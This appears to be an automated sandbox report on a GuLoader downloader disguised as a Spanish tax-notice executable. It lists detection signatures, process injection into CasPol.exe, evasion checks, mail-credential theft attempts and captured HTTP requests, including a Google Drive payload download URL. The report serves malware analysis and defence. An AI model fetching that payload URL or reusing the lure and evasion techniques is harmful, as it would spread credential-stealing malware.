Edit tour

Windows Analysis Report
rAEAT-AvisodeNotificaci__n.exe

Overview

General Information

Sample Name:	rAEAT-AvisodeNotificaci__n.exe
Analysis ID:	830397
MD5:	77b1761153f7e6ca4b76ea26c2fa6645
SHA1:	be00353381302d16a62c114efa564acf60473368
SHA256:	dbb02fdfea2855cb95d3a6a2668fd5392b9d997200277d98fb758db781880523
Infos:

Detection

GuLoader

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

May check the online IP address of the machine

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

One or more processes crash

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Enables debug privileges

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

PE file does not import any functions

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

PE / OLE file has an invalid certificate

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

rAEAT-AvisodeNotificaci__n.exe (PID: 7928 cmdline: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe MD5: 77B1761153F7E6CA4B76EA26C2FA6645)

CasPol.exe (PID: 5816 cmdline: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)

conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WerFault.exe (PID: 7128 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 2552 MD5: 40A149513D721F096DDF50C04DA2F01F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/ https://blog.morphisec.com/guloader-the-rat-downloader https://blog.vincss.net/2020/05/re014-guloader-antivm-techniques.html https://cert-agid.gov.it/news/malware/tecniche-per-semplificare-lanalisi-del-malware-guloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Betegner.But	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2396701126.0000000000F30000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000000.00000002.2031116791.00000000049EC000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Snort Signatures

ET TROJAN 404/Snake/Matiex Keylogger Style External IP Check - Source IP: 192.168.11.20 - Destination IP: 132.226.8.169

Timestamp:	192.168.11.20132.226.8.16949797802039190 03/20/23-11:38:26.059783
SID:	2039190
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: rAEAT-AvisodeNotificaci__n.exe	Virustotal: Detection: 26%			Perma Link
Source: rAEAT-AvisodeNotificaci__n.exe	ReversingLabs: Detection: 25%

Source: rAEAT-AvisodeNotificaci__n.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.185.110:443 -> 192.168.11.20:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.11.20:49796 version: TLS 1.2

Source: rAEAT-AvisodeNotificaci__n.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.pdb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @{n.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.ni.pdbRSDS source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: f4symbols\exe\caspol.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: caspol.pdbcaspol.pdbpdbpol.pdb\v4.0.30319\caspol.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Reflection.Primitives\net6.0-Release\System.Reflection.Primitives.pdb source: System.Reflection.Primitives.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Reflection.Primitives\net6.0-Release\System.Reflection.Primitives.pdb8+N+ @+_CorDllMainmscoree.dll source: System.Reflection.Primitives.dll.0.dr
Source:	Binary string: System.Reflection.TypeExtensions.ni.pdb source: System.Reflection.TypeExtensions.dll.0.dr
Source:	Binary string: C:\Windows\caspol.pdbpdbpol.pdb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.pdbb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: caspol.pdbR/ source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: ?{nC:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: 6HPon,C:\Windows\caspol.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\caspol.pdb source: CasPol.exe, 00000005.00000002.2476781418.0000000004134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\caspol.pdbc source: CasPol.exe, 00000005.00000002.2476781418.0000000004134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.pdb4v?t4v?t source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Xml.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: ##.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.pdbTLIs source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: caspol.pdbloopback_0 source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdbRSDSrMV9 source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: caspol.pdb source: CasPol.exe, 00000005.00000002.2476781418.0000000004134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\caspol.pdb0 source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.PDB5 source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Reflection.TypeExtensions\net6.0-Release\System.Reflection.TypeExtensions.pdb source: System.Reflection.TypeExtensions.dll.0.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\caspol.pdb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb@ source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: wcaspol.PDB 8 source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\exe\caspol.pdb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_0040596D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_0040596D
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_004065A2 FindFirstFileW,FindClose,	0_2_004065A2
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_00402862 FindFirstFileW,	0_2_00402862

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 4x nop then jmp 348778CCh	5_2_34876DDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_34876933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_34876300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_34876B14

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2039190 ET TROJAN 404/Snake/Matiex Keylogger Style External IP Check 192.168.11.20:49797 -> 132.226.8.169:80

May check the online IP address of the machine

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: Joe Sandbox View

ASN Name: UTMEMUS UTMEMUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 132.226.8.169 132.226.8.169

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/19pk727cbroendti715a9k7i4jfb9nau/1679308650000/13380849351983225481/*/1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4?e=download&uuid=a39e1756-09be-48bf-9f6c-3bbe22c32c5b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-as-docs.googleusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 00000005.00000002.2494898818.000000003497D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: CasPol.exe, 00000005.00000002.2494898818.000000003497D000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2494898818.0000000034966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: CasPol.exe, 00000005.00000002.2494898818.00000000348C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: battery-level-90-charging-symbolic.svg.0.dr	String found in binary or memory: http://creativecommons.org/licenses/by-sa/4.0/
Source: battery-level-90-charging-symbolic.svg.0.dr	String found in binary or memory: http://creativecommons.org/ns#
Source: battery-level-90-charging-symbolic.svg.0.dr	String found in binary or memory: http://creativecommons.org/ns#Attribution
Source: battery-level-90-charging-symbolic.svg.0.dr	String found in binary or memory: http://creativecommons.org/ns#DerivativeWorks
Source: battery-level-90-charging-symbolic.svg.0.dr	String found in binary or memory: http://creativecommons.org/ns#Distribution
Source: battery-level-90-charging-symbolic.svg.0.dr	String found in binary or memory: http://creativecommons.org/ns#Notice
Source: battery-level-90-charging-symbolic.svg.0.dr	String found in binary or memory: http://creativecommons.org/ns#Reproduction
Source: battery-level-90-charging-symbolic.svg.0.dr	String found in binary or memory: http://creativecommons.org/ns#ShareAlike
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: CasPol.exe, 00000005.00000003.2000934593.00000000040FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 00000005.00000003.2000934593.00000000040FE000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2476781418.000000000410B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0
Source: CasPol.exe, 00000005.00000002.2494898818.00000000348C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://subca.ocsp-certum.com01
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://subca.ocsp-certum.com02
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://subca.ocsp-certum.com05
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: rAEAT-AvisodeNotificaci__n.exe	String found in binary or memory: http://www.certum.pl/CPS0
Source: CasPol.exe, 00000005.00000002.2476781418.00000000040C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-08-as-docs.googleusercontent.com/
Source: CasPol.exe, 00000005.00000003.2000934593.00000000040FE000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.2005562805.0000000004134000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2476781418.0000000004134000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2476781418.00000000040C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-08-as-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/19pk727c
Source: CasPol.exe, 00000005.00000002.2476781418.000000000406B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 00000005.00000002.2476781418.000000000406B000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2492021767.0000000033910000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4
Source: CasPol.exe, 00000005.00000002.2476781418.000000000406B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4m
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmp, System.Reflection.Primitives.dll.0.dr, System.Reflection.TypeExtensions.dll.0.dr	String found in binary or memory: https://github.com/dotnet/runtime
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmp, System.Reflection.TypeExtensions.dll.0.dr	String found in binary or memory: https://github.com/dotnet/runtimeBSJB

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/19pk727cbroendti715a9k7i4jfb9nau/1679308650000/13380849351983225481/*/1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4?e=download&uuid=a39e1756-09be-48bf-9f6c-3bbe22c32c5b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-as-docs.googleusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.185.110:443 -> 192.168.11.20:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.11.20:49796 version: TLS 1.2

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Code function: 0_2_00405402 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405402

Source: rAEAT-AvisodeNotificaci__n.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 2552

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Code function: 0_2_00403350 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403350

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_00404C3F	0_2_00404C3F
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C069F	0_2_048C069F
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C089A	0_2_048C089A
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0091	0_2_048C0091
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C04B3	0_2_048C04B3
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C02C0	0_2_048C02C0
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C00D0	0_2_048C00D0
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C04EB	0_2_048C04EB
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C06E2	0_2_048C06E2
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C02FB	0_2_048C02FB
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0209	0_2_048C0209
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0001	0_2_048C0001
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0414	0_2_048C0414
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0011	0_2_048C0011
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0629	0_2_048C0629
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0826	0_2_048C0826
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C023F	0_2_048C023F
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0444	0_2_048C0444
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0053	0_2_048C0053
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C066C	0_2_048C066C
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0866	0_2_048C0866
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C047D	0_2_048C047D
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0279	0_2_048C0279
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0986	0_2_048C0986
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0196	0_2_048C0196
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C07DE	0_2_048C07DE
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C05DF	0_2_048C05DF
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C03D9	0_2_048C03D9
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C01FD	0_2_048C01FD
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0517	0_2_048C0517
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0117	0_2_048C0117
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0727	0_2_048C0727
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C033F	0_2_048C033F
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0551	0_2_048C0551
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0769	0_2_048C0769
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C0377	0_2_048C0377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F302FB	5_2_00F302FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F306E2	5_2_00F306E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F304EB	5_2_00F304EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F300D0	5_2_00F300D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F302C0	5_2_00F302C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F304B3	5_2_00F304B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30091	5_2_00F30091
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3089A	5_2_00F3089A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3069F	5_2_00F3069F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30279	5_2_00F30279
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3047D	5_2_00F3047D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30866	5_2_00F30866
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3066C	5_2_00F3066C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30053	5_2_00F30053
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30444	5_2_00F30444
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3023F	5_2_00F3023F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30826	5_2_00F30826
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30629	5_2_00F30629
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30011	5_2_00F30011
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30414	5_2_00F30414
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30001	5_2_00F30001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30209	5_2_00F30209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F301FD	5_2_00F301FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F303D9	5_2_00F303D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F305DF	5_2_00F305DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F307DE	5_2_00F307DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30196	5_2_00F30196
